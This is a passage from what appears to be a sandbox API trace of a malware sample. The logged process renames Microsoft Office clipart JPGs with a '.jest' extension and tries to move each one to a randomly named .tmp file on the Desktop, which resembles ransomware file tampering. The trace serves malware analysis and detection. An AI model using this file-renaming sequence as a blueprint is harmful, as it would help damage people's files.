"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.jest")) returned 1 [0167.051] VarBstrFromR4 (in: fltIn=0x4794584e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.61") returned 0x0 [0167.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l2ZRzu4IcMHz5EpHoHMdEQJAq_-QGNLusoQzT-HOoEnU3sqIdBlzmNWRISiY9UOL6RzH-WGI8FhQj4KqZRmlhiSxuYIsXAX8lh0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l2zrzu4icmhz5ephohmdeqjaq_-qgnlusoqzt-hooenu3sqidblzmnwrisiy9uol6rzh-wgi8fhqj4kqzrmlhisxuyisxax8lh0.tmp")) returned 0 [0167.053] GetLastError () returned 0x2 [0167.069] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.jest")) returned 1 [0167.085] VarBstrFromR4 (in: fltIn=0x47945854, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.66") returned 0x0 [0167.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ke01HVJFQ_UIwDnXu7BduHsYzqTxJh2BYkSwaIMoFQREe02EMIBMlGHQ020ID6oEZGs-zFzRqw3eB0rCLOHR1 6LBHbPOd0Op4NF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ke01hvjfq_uiwdnxu7bduhsyzqtxjh2bykswaimofqree02emibmlghq020id6oezgs-zfzrqw3eb0rclohr1 6lbhbpod0op4nf.tmp")) returned 0 [0167.087] GetLastError () returned 0x2 [0167.087] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.jest")) returned 1 [0167.090] VarBstrFromR4 (in: fltIn=0x47945854, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.66") returned 0x0 [0167.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDMO4SUQIon 01oDv7nRUk7qNF8uGiG1UHj41QzvCnGrI VLXXA4DvvwWJ1ldcDWTnNUwVJHS9i3Juno62EMw61rlozvEbDpxHeW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sdmo4suqion 01odv7nruk7qnf8ugig1uhj41qzvcngri vlxxa4dvvwwj1ldcdwtnnuwvjhs9i3juno62emw61rlozvebdpxhew.tmp")) returned 0 [0167.091] GetLastError () returned 0x2 [0167.093] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.jest")) returned 1 [0167.096] VarBstrFromR4 (in: fltIn=0x47945854, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.66") returned 0x0 [0167.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dKY_z5wXVPPRfAVXvE-r8ExB99R3mY2HnV63VpVZ55xsiHHkHU2e244C3RkoeeVUYfvK4rH3hUzBaAwtTUoqhrOJuhpPq9weXIJV7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dky_z5wxvpprfavxve-r8exb99r3my2hnv63vpvz55xsihhkhu2e244c3rkoeevuyfvk4rh3huzbaawttuoqhrojuhppq9wexijv7.tmp")) returned 0 [0167.098] GetLastError () returned 0x2 [0167.098] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.jest")) returned 1 [0167.102] VarBstrFromR4 (in: fltIn=0x47945856, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.67") returned 0x0 [0167.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H W8cjd0wEy3Bb83gPJmWWkT6Xsq4B40DSJsAuDkTfuYSfh98A64eE2VVtLBGqIPmQpupTcES9QlPfdGISsVm9AuzrcHtgDpVrlV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h w8cjd0wey3bb83gpjmwwkt6xsq4b40dsjsaudktfuysfh98a64ee2vvtlbgqipmqpuptces9qlpfdgissvm9auzrchtgdpvrlv.tmp")) returned 0 [0167.103] GetLastError () returned 0x2 [0167.103] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.104] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.jest")) returned 1 [0167.106] VarBstrFromR4 (in: fltIn=0x47945856, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.67") returned 0x0 [0167.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EFh0qd_3zNz1oglnfgJRNmTm1igf_eLLriUdWdy-ouTcnYipHsMJKTUE0_-Eye8XdJ5fIE pFdJWRxpXS9DhFViQ6 QhSxyGG7gX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efh0qd_3znz1oglnfgjrnmtm1igf_ellriudwdy-outcnyiphsmjktue0_-eye8xdj5fie pfdjwrxpxs9dhfviq6 qhsxygg7gx.tmp")) returned 0 [0167.107] GetLastError () returned 0x2 [0167.108] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.jest")) returned 1 [0167.111] VarBstrFromR4 (in: fltIn=0x47945856, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.67") returned 0x0 [0167.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AtITeVxn33rixqcktjQp1eQ6Wv2DzCmpjWcRvg7usXRTEhcgS3yZDYT1-okM5tJpxDexVr-xwegd45TKg5-g4Xi8hNk-_nqyR86.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\atitevxn33rixqcktjqp1eq6wv2dzcmpjwcrvg7usxrtehcgs3yzdyt1-okm5tjpxdexvr-xwegd45tkg5-g4xi8hnk-_nqyr86.tmp")) returned 0 [0167.113] GetLastError () returned 0x2 [0167.113] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.114] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.jest")) returned 1 [0167.116] VarBstrFromR4 (in: fltIn=0x47945856, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.67") returned 0x0 [0167.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gQAJBlC6PFzd2ggsZqRu5EZbZSeGRj_ImxSYzXg3kiBz31hAuVx5tbrShbpBOQCYm8t4m5sJ_c7AkOz-miqCJkCi6IGF-0DuxLmp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gqajblc6pfzd2ggszqru5ezbzsegrj_imxsyzxg3kibz31hauvx5tbrshbpboqcym8t4m5sj_c7akoz-miqcjkci6igf-0duxlmp.tmp")) returned 0 [0167.117] GetLastError () returned 0x2 [0167.117] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.jest")) returned 1 [0167.120] VarBstrFromR4 (in: fltIn=0x47945858, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.69") returned 0x0 [0167.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NUOA4xqJOcqQOs2uWJoaVEqkd4pDexIcom7G5XErFZ2-wMXhxW2cWAXGZJevrSCM-GNGZOvZQAA5PdD5UPN9QOFm2a08Eop6djv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nuoa4xqjocqqos2uwjoaveqkd4pdexicom7g5xerfz2-wmxhxw2cwaxgzjevrscm-gngzovzqaa5pdd5upn9qofm2a08eop6djv.tmp")) returned 0 [0167.121] GetLastError () returned 0x2 [0167.122] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.jest")) returned 1 [0167.124] VarBstrFromR4 (in: fltIn=0x47945858, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.69") returned 0x0 [0167.125] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9L8pp0CxFYwsnxmyTLT3KmG-K5Y_O-OfigGfB2KVqhLBw-6OuJjUpMWc cbVlQZhZUnv4rweO7kFkqWGKNJ9iC6OzZ4Yr_fxthLy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9l8pp0cxfywsnxmytlt3kmg-k5y_o-ofiggfb2kvqhlbw-6oujjupmwc cbvlqzhzunv4rweo7kfkqwgknj9ic6ozz4yr_fxthly.tmp")) returned 0 [0167.125] GetLastError () returned 0x2 [0167.126] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.jest")) returned 1 [0167.128] VarBstrFromR4 (in: fltIn=0x47945858, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.69") returned 0x0 [0167.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yz1TXIbKx KiczSJ ofLXVV6i 1z3-Vd0pa_lKhu8o38MueJtgKyE5oMj_w Xl2RXvSgmEveB2Os_qi_72asj9LOYdsTRlqksn-m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yz1txibkx kiczsj oflxvv6i 1z3-vd0pa_lkhu8o38muejtgkye5omj_w xl2rxvsgmeveb2os_qi_72asj9loydstrlqksn-m.tmp")) returned 0 [0167.129] GetLastError () returned 0x2 [0167.132] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.jest")) returned 1 [0167.135] VarBstrFromR4 (in: fltIn=0x4794585a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.7") returned 0x0 [0167.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FVMB8J4019WGSPGkDOr4yKnIDrpgD-qe06IBVR2u4jmFECpOs2 WBGruh Dsuor64aNbMVEorf FMX93Y3kZ0RLTzClD889mq3RTO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvmb8j4019wgspgkdor4yknidrpgd-qe06ibvr2u4jmfecpos2 wbgruh dsuor64anbmveorf fmx93y3kz0rltzcld889mq3rto.tmp")) returned 0 [0167.137] GetLastError () returned 0x2 [0167.137] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.jest")) returned 1 [0167.140] VarBstrFromR4 (in: fltIn=0x4794585a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.7") returned 0x0 [0167.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wgmDw84tcFcDiTZCf-JVWXFCWaPU6vrvu8WmwVtDwXvEZcf tlJDBb3H0 CojOCQ5ox va7vCMTnwFYd2VqWHRPE7opRmJpLi_6k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgmdw84tcfcditzcf-jvwxfcwapu6vrvu8wmwvtdwxvezcf tljdbb3h0 cojocq5ox va7vcmtnwfyd2vqwhrpe7oprmjpli_6k.tmp")) returned 0 [0167.141] GetLastError () returned 0x2 [0167.141] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.jest")) returned 1 [0167.143] VarBstrFromR4 (in: fltIn=0x4794585a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.7") returned 0x0 [0167.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0c9Dj87Djd0tXiHcIt8sML51BRUv8 rCKgTuq bMtm3lrzoe22Ed4bo8rkJm0 _dn3zrYA87zvO LF5wFAQs9NT3xlNNvZhKPpyp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0c9dj87djd0txihcit8sml51bruv8 rckgtuq bmtm3lrzoe22ed4bo8rkjm0 _dn3zrya87zvo lf5wfaqs9nt3xlnnvzhkppyp.tmp")) returned 0 [0167.144] GetLastError () returned 0x2 [0167.145] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.jest")) returned 1 [0167.148] VarBstrFromR4 (in: fltIn=0x4794585c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.72") returned 0x0 [0167.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\soUqR6RMTJ0qYj8KENHfNW6qDRoMplBb9LgOOMzeWsWcZVgaVjsqk6 7ndvRf7ylYVvHDd5L4U27Owqfbd39uMJbQn8_4Mi99Gi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\souqr6rmtj0qyj8kenhfnw6qdromplbb9lgoomzewswczvgavjsqk6 7ndvrf7ylyvvhdd5l4u27owqfbd39umjbqn8_4mi99gi.tmp")) returned 0 [0167.149] GetLastError () returned 0x2 [0167.149] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 